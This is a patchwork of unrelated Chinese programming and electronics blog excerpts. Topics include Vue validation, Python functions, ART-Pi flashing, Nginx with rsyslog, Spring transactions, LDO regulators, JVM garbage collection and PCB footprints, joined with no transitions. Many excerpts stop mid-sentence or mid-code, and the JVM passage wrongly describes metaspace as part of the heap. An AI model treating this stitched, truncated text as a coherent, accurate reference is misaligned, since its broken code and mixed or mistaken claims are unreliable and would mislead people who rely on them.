<el-form :model="forms" :rules="rules" ref="forms"> <el-form-item label="粤康码:" prop="cover"> <el-upload :on-change="handleFileChange" list-type="picture-card" :auto-upload="false" > </el-upload> </el-form-item> </el-form> export default{ name:"Healthy", data(){ const validateLogo = (rule, value, callback) => { if (!this.forms.cover && this.listLength ===0) { console.log(!this.forms.cover) callback(new Error('请上传图片')) } else { callback() } } return { listLength: 0,//图片数量 forms: { cover: null, }, rules: { cover: [{ required: true, validator: validateLogo, trigger: 'change' }], }, } }, methods:{ handleFileChange(file, fileList){ //图片上传后 this.
Python基础——7.函数 7.0 前言7.1 定义函数7.1.1 向函数传递信息7.1.2 实参和形参 7.2 传递实参7.2.1 位置实参1. 调用函数多次2. 位置实参的顺序很重要 7.2.2 关键字实参7.2.3 默认值7.2.4 等效的函数调用7.2.5 避免实参错误 7.3 返回值7.3.1 返回简单值7.3.2 让实参变成可选的7.3.3 返回字典7.3.4 结合使用函数和while 循环 7.4 传递列表7.4.1 在函数中修改列表7.4.2 禁止函数修改列表 7.5 传递任意数量的实参7.5.1 结合使用位置实参和任意数量实参7.5.2 使用任意数量的关键字实参 7.6 将函数存储在模块中7.6.1 导入整个模块7.6.2 导入特定的函数7.6.3 使用as 给函数指定别名7.6.4 使用as 给模块指定别名7.6.5 导入模块中的所有函数 7.7 函数编写指南7.8 小结习题 7.0 前言 在本章中,你将学习编写函数 。函数是带名字的代码块,用于完成具体的工作。
要执行函数定义的特定任务,可调用该函数。需要在程序中多次执行同一项任务时,你无需反复编写完成该任务的代码,而只需调用执行该任务的函数,让Python运行
其中的代码。你将发现,通过使用函数,程序的编写、阅读、测试和修复都将更容易。
在本章中,你还会学习向函数传递信息的方式。你将学习如何编写主要任务是显示信息的函数,还有用于处理数据并返回一个或一组值的函数。最后,你将学习如何
将函数存储在被称为模块 的独立文件中,让主程序文件的组织更为有序。
7.1 定义函数 下面是一个打印问候语的简单函数,名为hello():
def hello(): # 1 """函数作用:输出Hello!""" # 2 print("Hello!") # 3 hello() # 4 print(hello.__doc__) # 5 这个示例演示了最简单的函数结构。
雷区地图-No1.0 Ver.230324 欢迎阅读本萌新期雷区排雷引导指南前言地址说明序章Warning: The core is locked upST-LINK error (DEV_CONNECT_ERR)全擦除&恢复出厂软件下载链接flash擦写恢复出厂flash固件flash 选择擦除、全擦除 创建新工程模版后日谈 欢迎阅读本萌新期雷区排雷引导指南 前言 迷迷糊糊地下载程序,
迷迷糊糊地擦除,
然后迷迷糊糊地找解决方法,
结果什么都没有…
——误入迷途的小笨蛋
在三天内,
我把基本所有的坑都踩了个遍
在这大雾的一刹那,
我缓慢地写下了这篇回忆录,
将此刻的语句刻印于此,
望往来的误入迷途者…
找到出…方向……
地址说明 板件为RT-Thread 的 ART-Pi ,主芯为STM32H750XBH6
(TB店一看,这板子怎么价格翻倍了???)
类型地址大小用途片内flash0x00000000128KB存放BootLoaderQSPI flash0x080000008MB存放程序SPI flash0x7000000016MB存放固件、文件系统等 这个地址得记清楚,很重要
序章 当初刚买板子的时候,烧了个例程,跑了一遍,看问题不大,就扔一边吃灰了
当再次拿出来的时候……咚咚噔
Warning: The core is locked up 当出现这条的时候,有时候根据Stdio给出的两个建议执行的时候…并不会有效
肿么回事呢???
我下载的是这个art_pi_blink_led,
在这里可以看到,使用的是算法是下载到外 W25Q64 flash上,也就是 QSPI 8M 这个flash上,
但是我已经根据提示 擦除全片 了,
那我擦除的究竟是个什么呢???是我那个bootloader dio哒
解决方法是 烧写bootloader例程 :
bootloader可以正常烧写
再次烧写先前的例程即可成功烧写并运行
ST-LINK error (DEV_CONNECT_ERR) 第一次能下载的,
第二次怎么就寄了呢???
一、确定PyQt5插件已经存在 一般安装了Anacanda3,在下面这个目录下都可以找到:
D:\Anaconda3\Library\bin\designer.exe
二、配置Pycharm 打开Pycharm编辑器,左上角File--Settings--Tools--External Tools
首先添加QtDesigner插件,分组可以设置为Qt,
Program处选择上一步找到的designer.exe的地址:D:\Anaconda3\Library\bin\designer.exe。
Working directory处输入:$ProjectFileDir$,代表生成的ui文件会在当前项目的目录下生成。
接下来添加PyUIC插件,该插件会将ui文件转换为.py文件,以便后续进行编程。
分组可以也设置成Qt。
Program处输入Anaconda3下的python.exe的地址,我这里是:D:\Anaconda3\python.exe。
Arguments处输入:-m PyQt5.uic.pyuic $FileName$ -o $FileNameWithoutExtension$.py。Working directory处输入:$FileDir$。
接下来点击右下角的Apply就设置完成啦!
点击上面的Tools可以发现已经多了一个Qt,点开Qt发现已经多了QtDesigner和PyUIC插件。
需要配置两个编译器就可以在同一个工作空间中同时运行c和c++了。
c_cpp_properties.json文件
{ "configurations": [ { "name": "Win32", "includePath": [ "${workspaceFolder}/**" ], "defines": [ "_DEBUG", "UNICODE", "_UNICODE" ], "intelliSenseMode": "gcc-x64", "compilerPath": "D:/DevelopmentTool/mingw64/bin/gcc.exe" }, { "name": "Win32c++", "includePath": [ "${workspaceFolder}/**" ], "defines": [ "_DEBUG", "UNICODE", "_UNICODE" ], "compilerPath": "D:/DevelopmentTool/mingw64/bin/g++.exe", "cStandard": "gnu17", "cppStandard": "gnu++14", "intelliSenseMode": "windows-gcc-x64", "compilerArgs": [], "browse": { "path": [ "${workspaceFolder}/**" ], "limitSymbolsToIncludedHeaders": true } } ], "version": 4 }
直接使用Nginx记录日志,在多台服务器的情况下日志会过于分散不容易管理,不过nginx在1.7.1版本以后,可以使用Rsyslog来记录日志。配置过程如下:
一、Nginx配置文件:
该配置也可以实现将nginx日志通过rsyslog服务输送到远程机器。
vim /etc/nginx/nginx.conf access_log syslog:server=127.0.0.1[:514],facility=local6 main; 二、Rsyslog配置文件:
yum install rsyslog -y vim /etc/rsyslog.conf $ModLoad imudp $UDPServerRun 514 $ModLoad imtcp $InputTCPServerRun 514 local6.* /var/log/nginx/access.log 三、启动服务:
systemctl start nginx systemctl start rsyslog.service 四、测试:
curl 127.0.0.1:80
2011年买的,第一台电脑是华硕 U36KI243SD 13.3英寸 白色 i5 1G独显 USB3.0 500G
当时花了5699,着实是一笔巨款,我同学看了一眼就说“我C,这本真好”。
买它主要还是因为好看。当时win7也才开始流行,感觉用上这个本,我就是中关村最靓的崽。
华硕U36KI243SD笔记本采用Intel 酷睿i5 2430M处理器(2.4GHz主频/3MB三级缓存)、Intel
HM65芯片组、4GB DDR3 1333内存、500GB SATA接口, 5400转硬盘、1GB显存的NVIDIA GeForce GT
520M 独立显卡以及分辨率为1366×768的14英寸显示屏。网络方面,华硕U36KI243SD笔记本提供了千兆以太有线网卡、802.11b/g/n(300Mbps)无线网卡。预装正版 Windows 7 家庭普通版。
这个笔记本陪着我开启了我的程序员生涯,小心翼翼贴保护膜,买了个内胆包。写代码,玩游戏,送了个内存条,内存到2G,当时2G就觉得很快了,玩游戏还能3开,完全够用。
大概是在2014年它硬盘坏了,开机总蓝屏,换了一块硬盘花了五百。
2015年磕了一下,就不能开机了,送去修,人家说这是什么限量版的,配件基本不好找了,最后花了三百换了几个芯片,又复活了。这段精力告诉我,以后不要买什么限量款。
它到现在还能开机,我一直用到2018年,把它给我妈看电影用了。
现在用的电脑是三千块买的,16G i7,我时常在想,十几年前花了五千多买的那个本。。。。
时代在发展,科技在进步。
同时也不得不吐槽,我们现在的软件功能强大了,但是占用的内存也大了,动不动一个开发工具就占1个G,当年我2G的小本本还跑过Oracle数据库,现在真是难以置信,恐怕到了今天,这个本本连个idea都打不开了吧。
这个本跟我感情最深,攒了好几个月的工资才狠心下手,现在想想,一边eclipse开发,一边跑Oracle,还开着录屏软件录视频,它咋撑下来的呢?
当时因为是第一台电脑,很多使用习惯也不好,不然它可能寿命更久。
我现在用电脑,基本就C盘D盘,磁盘不多分区,用文件夹。文件夹分类习惯很好。
软件不装C盘,所有软件缓存能设置的都往D盘扔。
把什么回收站、我的文档、浏览器缓存什么的基本都从C盘挪出来。
杀毒软件用火绒足够。
主体
品牌 华硕 ASUS
型号 U36KI243SD
颜色 银色 铝镁合金 纳米涂层
平台 Intel
软件
随机系统 Windows7 Home Basic
处理器
CPU类型 Intel酷睿i5处理器
CPU型号 i5-2430M
CPU速度 2.4GHz
三级缓存 3M
芯片组
芯片组 Intel HM65
目录 1. 请求1.1概述1.2 简单参数1.2.1 原始方式1.2.2 SpringBoot方式1.2.3 参数名不一致 1.3 实体参数1.3.1 简单实体对象1.3.2 复杂实体对象 1.4 数组集合参数1.4.1 数组1.4.2 集合 1.5 日期参数1.6 JSON参数1.7 路径参数 2. 响应2.1 @ResponseBody2.2 统一响应结果 1. 请求 1.1概述 1.2 简单参数 简单参数:在向服务器发起请求时,向服务器传递的是一些普通的请求数据。
那么在后端程序中,如何接收传递过来的普通参数数据呢?
两种方式:
原始方式SpringBoot方式 1.2.1 原始方式 在原始的Web程序当中,需要通过Servlet中提供的API:HttpServletRequest(请求对象),获取请求的相关信息。
Tomcat接收到http请求时:把请求的相关信息封装到HttpServletRequest对象中
在Controller中,我们要想获取Request对象,可以直接在方法的形参中声明 HttpServletRequest 对象。然后就可以通过该对象来获取请求信息:
//根据指定的参数名获取请求参数的数据值 String request.getParameter("参数名") @RestController public class RequestController { //原始方式 @RequestMapping("/simpleParam") public String simpleParam(HttpServletRequest request){ // http://localhost:8080/simpleParam?name=Tom&age=10 // 请求参数: name=Tom&age=10 (有2个请求参数) // 第1个请求参数: name=Tom 参数名:name,参数值:Tom // 第2个请求参数: age=10 参数名:age , 参数值:10 String name = request.
目录
1. 什么是事务
2、Spring中事务的实现方式
1、编程式---实现事务
2、声明式---实现事务
3、事务的隔离性
1、DEFAULT
2、READ_UNCOMMITTED(读未提交)
3、READ_COMMITTED(读已提交)
4:REPEATABLE_READ(可重复读)
5:SERIALIZABLE(可串行化)
4、事务的传播特性
1、REQUIRED:spring默认的事务的传播性
2、REQUIRES_NEW
3、NESTED
4、MANDATORY
5、SUPPORTS
6、NOT_SUPPORTED
7、NEVER
5、事务失效的场景
1. 什么是事务 数据库事务是指作为单个逻辑工作单元执行的一系列操作,这些操作要么一起成功,要么一起失败,是一个不可分割的工作单元。
在我们日常工作中,涉及到事务的场景非常多,一个 service 中往往需要调用不同的 dao 层方法,这些方法要么同时成功要么同时失败,我们需要在 service 层确保这一点
事务的四大特性:A:原子性 C:一致性 I:隔离性 D:持久性
2、Spring中事务的实现方式 1、编程式---实现事务 在applicationContext.xml中配置好数据源,和事务管理器:
不推荐使用,代码入侵太多。大量的处理事务的代码穿插到业务代码中
2、声明式---实现事务 (1)、声明式事务:xml形式 提前配置好数据源
配置事务管理器
配置通知,添加事务的切面
Aop的织入,将切面和切入点绑定起来
(2)、configration配置类的形式配置声明式事务 1、配置好数据源信息 2、配置事务管理器 3、开启事务的注解支持
将该配置类添加到包扫描路径下,接来下就可以直接在service的方法或者类上使用@Transactional注解给方法添加事务
(3)、xml+注解方式配置声明式事务
配置完成后,只需要在想要开启注解的方法上加上@Transactional注解就可以了
3、事务的隔离性 1、DEFAULT DEFAULT 这是spring默认的隔离级别,表示使用数据库默认的事务隔离级别。另外四个与JDBC的隔离级别相对应。
2、READ_UNCOMMITTED(读未提交) READ_UNCOMMITTED 这是事务最低的隔离级别,它充许别外一个事务可以看到这个事务未提交的数据。这种隔离级别会产生脏读,不可重复读和幻读。 3、READ_COMMITTED(读已提交) 这是Sql Server , Oracle默认隔离级别READ_COMMITTED 保证一个事务修改的数据提交后才能被另外一个事务读取。这种事务隔离级别可以避免脏读出现,但是可能会出现不可重复读和幻读。
4:REPEATABLE_READ(可重复读) 这是MySQL-InnoDB默认隔离级别REPEATABLE_READ这种事务隔离级别可以防止脏读,不可重复读。但是可能出现幻读。
5:SERIALIZABLE(可串行化) SERIALIZABLE 事务被处理为顺序执行。防止脏读,不可重复读,防止幻读。
Python起源一种shell的脚本语言 ,而现在已经发展成最通用的语言之一了,TIOBE指数的数据显示,Python是目前世界上最受欢迎的编程语言。
Python之所以这么受欢迎有很多原因。从Web开发到物联网编程再到AI等各个方面都能用到它。另外Python代码非常容易编写和执行,这使Python成为入门编程语言的首选。基本上每个在大学学习编码或者参加编程训练营的人都会学习Python。
然而Python的鼎盛时期会持续多久?虽然语言本身没有什么问题,但从某些方面来说,成为“万人迷”感到很惊讶。受到的欢迎程度远超出它所应得的,主要有以下四个原因:
一、Python速度不快
Python最大的缺陷就是用它编写的应用程序运行速度不快。至少,这些应用程序远不及用C或者Java等语言编码的应用程序快。代码可能易于编写和部署,但是我们却牺牲了速度、效率和性能。在这个分秒必争的世界里,Python显然不是一个很好的选择。
二、Python的语法过于僵化
对于编码小白来说,Python如此受欢迎的部分原因是它的语法非常具体,所以写出来的代码非常整洁而且可读性高。对于那些不介意花时间研究Python所有语法规则的人来说,Python很不错。但是如果你只是想快速生成代码,那Python并不是最好的选择。
因此,如果优先考虑灵活性或者动态性,而不是让代码看起来美观且一致,那么Python可能就不是未来最好的语言。
三、Python提供的编程语言有限
易于使用是Python受新手小白喜爱的另一大原因。但是实际上Python没有提供全面的开发体验。学习Python编码的人并没有了解传统软件开发系统的各个方面。
虽然这听起来可能有些苛刻,但是我认为知道如何用Python写代码只不过比知道如何在Bash shell中运行程序更高级一点,而Bash shell根本不算编码。从这个角度来说Python正在创造一代不知道“完整”编程的程序员,他们只知道如何编写解释型代码。
四、没有什么大型的产品是用Python写的
当环顾全球各种项目时,我发现没有任何真正大型、复杂且重要的应用程序或者平台是用Python写的。很多网站使用Python,主要是在后端,可能有数百万小型应用程序是用Python开发的。但是没有基于Python的类似WordPress的东西,没有非常依赖Python的办公生产力套件,当然也没有用Python编码的操作系统,甚至是操作系统的主要部分。
这并不是在谴责Python,只是在强调这样一个事实。如果说Python在未来几十年仍然保持顶级编程语言的地位,那么你会认为现在有人会用它做一些比编写脚本和简单应用程序更有趣的事。然而他们没有,可能也不会。
Python当然有很多用处,但主要用于编写相对简单的脚本和应用程序。所以它并不是编写所有内容的首选语言。
Python的普及与数据挖掘、人工智能和数值计算等领域的蓬勃发展相关,但同时也与普遍编程需求的增加有关。
Python应用领域广泛,意味着选择Python的同学在学成之后可选择的就业领域有很多,加上Python本身的优势,致使现在越来越多的新人开始学习这一编程语言。
Python优势明显
应用领域超多
如果要推荐一种人人都能掌握的编程语言,应该没有比Python更合适的了。
Python 简单易学,用途广泛,不仅可以在日常办公中提高大家的职场效率,还能被大型互联网企业应用于后端开发。随着大数据、人工智能等领域的快速发展,Python的应用领域也更加多了起来。
大数据开发做什么?
大数据开发分两类,编写Hadoop、Spark的应用程序和对大数据处理系统本身进行开发。大数据开发工程师主要负责公司大数据平台的开发和维护、相关工具平台的架构设计与产品开发、网络日志大数据分析、实时计算和流式计算以及数据可视化等技术的研发和网络安全业务主题建模等工作。
大数据开发应具备的技能:
目前从事大数据应用开发的语言包括Java、Python、Scala、R等,需要熟悉Hadoop、HBbase、hive、spark、Flink、ES、Presto、Flume、Kafka生态的原理和使用方法,掌握数据开发、数据挖掘的各项流程。
大数据学习路线以及资源:
开发入门:Linux入门 → MySQL数据库
核心基础: Hadoop
数仓技术: Hive数仓项目
PB内存计算: Python入门 → Python进阶→ pyspark框架 → Hive+Spark项目
在选择培训机构之前,可以先学习一下大数据基础的教程,看看到底自己能不能掌握~
本套教程一网打尽了大数据必学的
Hadoop、Hive,云平台实战项目
让零基础同学一站式入门
直通大数据核心技术
这套大数据新教程基于Hadoop、Hive、云平台等技术带领大家由浅入深的进入大数据领域,一起体验大规模数据计算的魅力。
基于零基础学习的内容设计,提供了丰富的补充知识点供零基础学员进行前置学习。
作为2023年全新的大数据入门课程,课程内容采用全新的技术栈体系。基于Hadoop3.3.4、Hive 3.1.3、阿里云和UCloud云平台,为同学们打造一门大数据Hadoop生态体系的入门课程,但又不仅仅只是Hadoop。
2023新版大数据入门到实战教程,大数据开发必会的Hadoop、Hive,云平台实战项目全套一网打尽
课程特色
• 理论+实战完美结合:本套教程采用“理论+实战”的形式,全面介绍了大数据Hadoop、Hive离线开发的相关知识;
• 有内容也有深度:课程采用“入门+提高”的内容设计,入门知识和高阶知识相互独立,先全面入门,后全面进阶,循序渐进让大家学有所成;
• 结合当下热门的云平台(阿里云、UCloud)为大家带来《云原生大数据开发》:基于Hadoop3.3.4、Hive 3.1.3、阿里云和UCloud云平台,采用全新的技术栈体系。
适合人群
>零基础:小白入门到高阶,再到精通
>进阶者:有经验的工程师巩固拓展
>探索者:感兴趣者领略大数据魅力
第一阶段 大数据开发入门 学前导读:从传统关系型数据库入手,掌握数据迁移工具、BI数据可视化工具、SQL,对后续学习打下坚实基础。
今天写代码的时候报错Field 'name' doesn't have a default value,如下图:
是数据库属性字段没有赋初值,然后我就去看数据库,发现数据库,先说解决方法,加==@RequestBody==
/** * 新增分类 * @return */ @PostMapping public R<String> save(@RequestBody Category category){ log.info("category:{}",category); categoryService.save(category); return R.success("新增分类成功"); } }
学习教程
一、node.js特征 Node.js 异步编程的直接体现就是回调。Node.js 是单进程单线程应用程序,但是因为 V8 引擎提供的异步执行回调接口,通过这些接口可以处理大量的并发,所以性能非常高。 二、npm常用命令 npm help 查看所有命令npm help 可查看某条命令的详细帮助,例如npm help install。在package.json所在目录下使用npm install . -g可先在本地安装当前命令行程序,可用于发布前的本地测试。使用npm update 可以把当前目录下node_modules子目录里边的对应模块更新至最新版本。使用npm update -g可以把全局安装的对应命令行程序更新至最新版。使用npm cache clear可以清空NPM本地缓存,用于对付使用相同版本号发布新版本代码的人。使用npm unpublish @可以撤销发布自己发布过的某个版本代码。 三、命令 项目终端输入node --version 查看版本,如果没版本号就是没安装
npm -v 查看npm版本 四、使用npm命令安装模块 npm install express ; npm install express -g 全局安装 npm 命令安装常用的 Node.js web框架模块 express:
安装好之后,express 包就放在了工程目录下的 node_modules 目录中,因此在代码中只需要通过 require(‘express’) 的方式就好,无需指定第三方包路径。
使用:var express = require('express');
使用npm卸载模块
npm uninstall express使用npm更新模块
npm update express使用npm搜索模块
npm search express终端输入 node xxx.
http://t.csdn.cn/YaR0G
本文告诉你三件事:
LDO的基本原理。LDO都有哪些参数,有什么意义。选型时的注意事项 1.LDO基本原理 LDO是Low Dropout Regulator的缩写,意思是低压差线性稳压器。
低压差 是指输入电压-输出电压的值比较低。传统的线性稳压器压差高达2V,而LDO的压差只有几百mV。
线性 是指PMOS基本处于线性工作状态(传统的线性稳压器是PNP原理,也工作在线性放大状态)。
稳压器 是指在正常的VIN范围内,输出VOUT都稳定在一个固定值,这个固定值就是我们想要的电压值。比如VIN是电池电压3~4.4V,VOUT始终保持2.7V输出。
下图是一个简单的LDO原理框图:
LDO是一个负反馈系统,当VOUT增大,R2上电压增大,放大器输出电压增大,PMOS的VGS电压减小,这样PMOS输出电流减小,电压也减小。所有的LDO都是同样的负反馈原理。
我们经常拿LDO与DCDC做对比,两者的原理差别很大,特性也不一样:LDO简单,功率小,效率低,噪声非常低。DCDC复杂,功率大,效率高,噪声也很高。
重点说明一下,LDO有非常好的噪声隔离作用,具体指标是PSRR,它表示输出噪声对输入噪声的比值。在一些对噪声敏感的电路中,如ADC,DAC,Camera sensor模拟电压等,必须选择LDO,而且是高PSRR的LDO,而不是DCDC。下文解释一些LDO的关键技术指标。
2.LDO关键参数的理解 以TOSHIBA的TCR3DG系列LDO为例,解释一下LOD的各项参数指标。这个系列的LDO在手机行业应用非常多。
2.1压差(Drop-out Voltage) 压差是指保证VOUT输出电压、电流情况下,VIN与VOUT的最小电压差。这个压差可以理解为LDO输出电流在PMOS上的压降。PMOS有导通电阻,假设VIN=3.4V,VOUT=3.2V,输出电流300mA,则可以推算出PMOS的内阻是
LDO工作必须满足压差要求,但压差不是一个固定值,它与IOUT大小有关。下图是一个VOUT=1V的LDO的输出电流与压差要求的关系曲线,可见输出电流越小,对压差要求也越小。压差越小,LDO的效率越高。所以尽量不要让LDO工作在接近极限的大电流状态,否则效率很低,LDO发热严重,容易烧毁。
2.2效率 LDO效率定义如下:
其实IOUT和IIN基本是相等的,因为IIN就比IOUT多了个IGND,这个电流非常小,几乎可以忽略。所以效率公式简化如下。
可以简单把LDO看做是一个稳压管,压差越小,LDO的效率越高。
2.3静态电流(IQ) 静态电流Quiescent Current是外部负载电流为0时,LDO内部电路供电所需的电流。内部电路包括带隙基准电压源、误差放大器、输出分压器以及过流和过温检测电路。这个电流经过从LDO的GND流出。
静态电流受温度和输入电压影响较大,高性能的ADI品牌LDO可能做到静态电流对温度电压不敏感。下面两幅图是一个普通的LDO静态电流随VIN和温度变化的曲线。常温下静态电流一般在uA和nA级别。
当输出电流增大时,这个时候的静态电流IQ,我们称期为IGND,某些大功率的LDO,IGND也到了mA的级别:
大部分LDO的IQ很小,它是衡量LDO在低负载情况下的自身消耗的一个重要指标,IQ越小越好。在消费类电子领域,低IQ有利于更长的续航时间,低IQ值显得尤为重要。
2.4关断电流 LDO的输出使能管脚ENn拉低后,VOUT=0V,此时VIN上消耗的电流就是关断电流IQ(OFF)。关断电流最高不会超过几个uA。
2.5负载瞬态响应Load Transient Response 负载电流IOUT阶跃变化时,输出电压VOUT的变化率。它与输出端的电容值,电容的ESR,LDO控制环路的增益带宽以及负载电流变化的大小和速率有关。文章开头已经讲了,LDO是一个负反馈回路,其相位裕量越大,负载的瞬态响应越好。下图是ADP165和TCR3DG的瞬态响应对比。第一幅图VOUT电压变化了约5.7%,第二幅图VOUT变化了2.6%。东芝的LDO胜出。
有些厂家用电流负载调整率来表示这个值,公式如下:
负载调整率=∆VOUT/∆IOUT
道理是一样的。
这个指标对输出纹波有影响,越小越好。
2.6线路瞬态响应Line Transient Response 表示VIN阶跃变化,VOUT的变化情况,如下图。输出电压偏差显示了环路带宽和PSRR的特性,对于1.5us内的2V变化,输出电压变化约2mV,表明1KHz是PSRR约为60dB。当VIN缓慢变化时,可能只会看到一个凹陷,没有振铃。
有些规格书称这个指标为电压负载调整率,并给出了公式,电压负载调整率=∆VIN/∆VOUT。道理是一样的。
Line Transient Response 随负载电流增加而变差,因为LDO的总环路增益不断降低。此外,LDO的功耗也随着电压差的增大而增加,这会导致PMOS结温升高而使带隙电压和内部失调电压降低。
这个指标对输出纹波有影响,越小越好。
2.7电源抑制比PSRR 表示LDO对VIN上的噪声的抑制能力,公式如下:
100K到1MHz内的PSRR非常重要,这个是DCDC的噪声频率范围,LDO经常作为DCDC的下一级,要有能力滤除来自DCDC的大量噪声。
在ADC,DAC,Camera的AVDD供电上,我们要选择PSRR大于80dB(@100Hz)的LDO。
LDO的环路控制往往是确定电源抑制性能的主要因素,同时大容量,低ESR的电容对电源一直也非常有用,建议选择陶瓷电容。
PSRR与频率有关,LDO的规格书一般会给出几个频点的PSRR值。
PSRR与IOUT有关,通常情况下,轻载的PSRR高于重载。PSRR与LDO的相位裕量也有关系,这些关系请参考ADI文章《理解低压差稳压器(LDO)实现系统优化设计》。
2.8输出噪声电压 恒定输出电压电流,VIN上无纹波,给定范围内(10Hz~100KHz),VOUT上的噪声电压RMS。这部分噪声主要来自于LDO内部基准电压源和误差放大器。如下是某LDO的噪声水平,通常在uV级别。
LDO输出噪声的另一种表示方式是噪声频谱密度。只有高精度,低噪声电路上才需要关注这个参数。
2.9 自放电功能 LDO关闭后,负载电容上仍然后电量。LDO在下次输出时,会因为这个电量,产生一个快速的Voltage Spike,虽然幅度不高,但对后级电路也会有破坏性。带自放电功能的LDO能在LDO关闭输出后,泄放输出电容上的点电量。
3.LDO的输出稳定性要求 LDO是一个负反馈系统,VIN和VOUT上的电容值,ESR都会影响这个系统的稳定性,最主要是ESR在影响稳定性。在LDO的规格书中,都会列出对输入电容CIN和输出电容COUT以及ESR的要求。一定要遵守这个要求。
前言: JVM的内存中,从JDK1.8开始,内存被划分为四块区域,分别是堆区,栈区,程序计数器,本地方法栈。
其中堆区是所有线程共有,其余三块是线程独占。
堆区中,又被划分为三块区域,新生代,老年代,元空间。元空间中,存放class类等数据,替代原本方法区的功能。
翻阅网上的各种文档,往往是单纯的复制粘贴,缺乏实战,所以本文结合各种实例,来讲解下对象晋升为老年代的种种场景。
垃圾回收策略有四种,主要分为两类:其中UseParallelGC和UseParallelOldGC属于一类,UseParNewGC和UseSerialGC属于一类。两类的效果是不一样的,所以我们后面会区分开来讲。
一.主动GC 主动GC的时候,会把新生代中的对象挪到老年代。
为了方便看出效果,我们通过虚拟机参数进行一些配置:
配置参数-XX:+PrintGCDetails,方面我们查看虚拟机参数;
配置参数-Xmx128m,把JVM虚拟机内存大小设置为128M;
配置参数-XX:SurvivorRatio=3,把eden区和suivivor区的大小比设置为3比1;
配置参数-XX:MaxTenuringThreshold=5,把晋升老年代的年龄设置为5次;
配置参数 -XX:+UseParallelGC,使用UseParallelGC的回收策略。
然后开始实验,代码如下:
public void testgc() { System.gc(); byte[] byte1 = new byte[2 * 1024 * 1024]; byte[] byte2 = new byte[2 * 1024 * 1024]; System.gc(); } 主动触发一次GC,避免老的对象影响。
创建两个变量byte1和byte2,分别申请2M的空间。
再次出主动触发一次GC
我们看一下执行结果:
[GC (System.gc()) [PSYoungGen: 522K->64K(34816K)] 1250K->792K(122368K), 0.0005943 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] [Full GC (System.gc()) [PSYoungGen: 64K->0K(34816K)] [ParOldGen: 728K->728K(87552K)] 792K->728K(122368K), [Metaspace: 3584K->3584K(1056768K)], 0.0051335 secs] [Times: user=0.
GraphSAGE原理详解 总结方法来自站望舒同学up主
解决问题:
?融合边的权重是固定的
?全图计算,图大的时候,计算难或者不能计算
步骤:
step1:邻居采样
step2:聚合
假设A为目标节点:
考虑K=1
更新A节点:
假设考虑二阶,这个真的很清晰。我一直以为不考虑重复节点,比如考虑目标节点A,聚合的话先把第二层聚合,即把E、D聚合到B,再把C、G、B聚合到A节点,但是这种想法是错误的,感谢望舒同学up主。正确的聚合应该如下图所示:
采样细节:假设需要采样的邻居节点不够的话可以补齐,具体方法:
如果要采样的邻居节点多的话要选择舍弃。类推…
望舒同学
原理:
https://www.bilibili.com/video/BV1ig411W7as/?spm_id_from=333.999.0.0&vd_source=dedde07f08114db1801c24d389337cbe
代码讲解:
https://www.bilibili.com/video/BV1WT411m7Ff/?spm_id_from=333.999.0.0&vd_source=dedde07f08114db1801c24d389337cbe
写在这里,以后可以翻一翻。 PCB封装制作,首先想到的是去哪里弄一个封装,从其他文件里面复制粘贴或者从嘉立创下载。
自己新做一个封装,不是首选,慢慢的这项技能包也丢了。
首先需要进入PCB封装编辑界面,有2种方式。
第1种,在layout界面,点击工具,再点击PCB封装编辑器
第2种,从封装库里面进入PCB编辑
一,表贴件
重点设置焊盘栈:
只需要设置贴装面,内层和对面不需要设置(也可以删掉)
钻孔尺寸设置为0,电镀打钩,
宽度,长度,方向按照数据手册设置即可
丝印:绘制2D线,然后修改2D线属性,一般设置为丝印顶层
二,DIP插件
重点设置焊盘栈:
贴装面,内层和对面都需要设置(设置成一样);
钻孔尺寸和直径参考数据手册设置,电镀打钩,
钻孔尺寸一般需要在数据手册基础上加0.15毫米或者0.2毫米,否则DIP插件无法安装到PCB上;
钻孔尺寸也需要PCB板厂工艺参数,例如
丝印:绘制2D线,然后修改2D线属性,一般设置为丝印顶层
以上只记录了重点设置,其他省略。
Python实现二叉树
Python实现二叉树可以使用面向对象编程的方式,通过定义二叉树节点类来实现。每个节点包含一个数据元素、左右子节点指针和一些操作方法,如插入节点、查找节点、删除节点等。
以下是一个简单的二叉树实现示例:
class Node: def __init__(self, data): self.data = data self.left = None self.right = None def insert(self, data): if self.data: if data < self.data: if self.left is None: self.left = Node(data) else: self.left.insert(data) elif data > self.data: if self.right is None: self.right = Node(data) else: self.right.insert(data) else: self.data = data def find(self, data): if data < self.data: if self.left is None: return str(data) + " Not Found" return self.
当在vue项目中的package.json文件修改启动命令时,发现也无法自动打开浏览器。 "scripts": { "serve": "vue-cli-service serve --open", "build": "vue-cli-service build" }, npm run serve --open
在命令上增加 --open也无法自动启动浏览器。
解决方法: 端口文件存放目录为:node_modules/@vue/cliservice/lib/commands/serve.js
根据以下代码修改:
// create server const server = new WebpackDevServer(compiler, Object.assign({ logLevel: 'silent', clientLogLevel: 'silent', historyApiFallback: { disableDotRule: true, rewrites: genHistoryApiFallbackRewrites(options.publicPath, options.pages) }, contentBase: api.resolve('public'), watchContentBase: !isProduction, hot: !isProduction, injectClient: false, compress: isProduction, publicPath: options.publicPath, overlay: isProduction // TODO disable this ? false : { warnings: false, errors: true } }, projectDevServerOptions, { https: useHttps, proxy: proxySettings, // eslint-disable-next-line no-shadow before (app, server) { // launch editor support.
写在这里,以后可以翻一翻
问题:今天又遇到了PCB封装的问题,这个座子的封装,左右两边有很长的线,在PCB layout中,选择其他元器件时会选中它(但是这两条线在PCB layout中不显示)很是烦人。
解决方法:
先找到这个线在哪里
编辑元件封装,①设置2D线颜色,②更改背景颜色。因为不知道这个线在哪一层,另外有可能背景颜色一样导致没有显示出来,所以需要多尝试,最后发现这条线居然在第20层,难以想象。
2.选中这2条线,然后删掉,重新保存封装,更新封装。
目的:下载jdk后,配置java环境变量,使执行java的命令全局可用
目录
一、JDK是什么?
二、使用步骤
1.找到jdk安装目录下的Java命令执行文件
2.打开计算机的环境配置
总结
一、JDK是什么? JDK(java development kit): java开发工具包,包含了java开发环境和Java代码执行的工具
二、使用步骤 1.找到jdk安装目录下的Java命令执行文件 2.打开计算机的环境配置 在系统变量里加入变量+值:JAVA_HOME+(你自己安装的jdk目录)
接着进入Path中,配置具体的路径
总结 在java的环境配置时,弄清楚Jdk的内部结构,可以帮助自己更好的理解环境配置时,要这样在环境变量里加入相关路径的原因。
提示:其实这是一个和spring的底层逻辑(控制反转与依赖注入)有关的问题
目录
前言
一、Spring常用注解
二、解决方法
三、其他可参考解决方案
